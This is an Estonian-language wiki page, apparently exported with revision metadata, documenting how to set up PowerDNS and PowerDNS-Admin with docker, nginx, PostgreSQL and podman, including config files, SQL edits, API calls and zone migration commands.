PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /srv/pdns/volume/nginx/etc/nginx/nginx.conf&lt;br /&gt;
# nginx.conf&lt;br /&gt;
&lt;br /&gt;
user nginx;&lt;br /&gt;
worker_processes auto;&lt;br /&gt;
error_log /dev/stderr;&lt;br /&gt;
pid /var/run/nginx.pid;&lt;br /&gt;
&lt;br /&gt;
events {&lt;br /&gt;
    worker_connections 1024;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
http {&lt;br /&gt;
    include       mime.types;&lt;br /&gt;
    default_type  application/octet-stream;&lt;br /&gt;
&lt;br /&gt;
    log_format  main  '$remote_addr - $remote_user [$time_local] &amp;quot;$request&amp;quot; '&lt;br /&gt;
                      '$status $body_bytes_sent &amp;quot;$http_referer&amp;quot; '&lt;br /&gt;
                      '&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;';&lt;br /&gt;
    access_log /dev/stdout main;&lt;br /&gt;
&lt;br /&gt;
    sendfile        on;&lt;br /&gt;
    keepalive_timeout  65;&lt;br /&gt;
&lt;br /&gt;
    # Redirect HTTP to HTTPS&lt;br /&gt;
    server {&lt;br /&gt;
        listen 80;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        return 301 https://$host$request_uri;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    # HTTPS Configuration&lt;br /&gt;
    server {&lt;br /&gt;
        listen 443 ssl;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        http2 on;&lt;br /&gt;
        ssl_protocols TLSv1.3;&lt;br /&gt;
        ssl_prefer_server_ciphers on;&lt;br /&gt;
&lt;br /&gt;
        ssl_certificate /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.crt;&lt;br /&gt;
        ssl_certificate_key /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.key;&lt;br /&gt;
&lt;br /&gt;
        # Recommended security settings&lt;br /&gt;
        ssl_session_cache shared:SSL:10m;&lt;br /&gt;
        ssl_session_timeout 10m;&lt;br /&gt;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305;&lt;br /&gt;
&lt;br /&gt;
        # Logging&lt;br /&gt;
        access_log /dev/stdout;&lt;br /&gt;
        error_log /dev/stdout;&lt;br /&gt;
&lt;br /&gt;
        # Reverse proxy to the destination&lt;br /&gt;
        location / {&lt;br /&gt;
            proxy_pass http://svc_pdns:8081;&lt;br /&gt;
            proxy_set_header Host $host;&lt;br /&gt;
            proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
            proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Tsooni migreerimine pädeva pdns peale===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* SOA-EDIT - &lt;br /&gt;
&lt;br /&gt;
====Protseduur====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Käsundamine====&lt;br /&gt;
&lt;br /&gt;
Eksport&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil export-zone-key moraal.ee 17 &amp;gt; moraal.ee.ksk&lt;br /&gt;
# pdnsutil list-zone moraal.ee &amp;gt; moraal.ee.zone&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Import&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil create-zone moraal.ee&lt;br /&gt;
# pdnsutil load-zone moraal.ee.zone&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Käsundamine - 2nd abil====&lt;br /&gt;
&lt;br /&gt;
Tekitatakse migreeritava tsooni sekundaar&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil create-secondary-zone moraal.ee 192.168.1.148&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4239</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4239"/>
		<updated>2026-06-16T21:42:58Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tsooni migreerimine pädeva pdns peale */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* DNSSEC puhul on PowerDNS tarkvarale iseloomulik, et kõik DNSSEC moodustatakse käigult, st midagi ei ole salvestatud (well, midagi puhverdatakse, aga rrsig moodi kirjeid jms ei hoita nö tsoonifaili kujul)&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
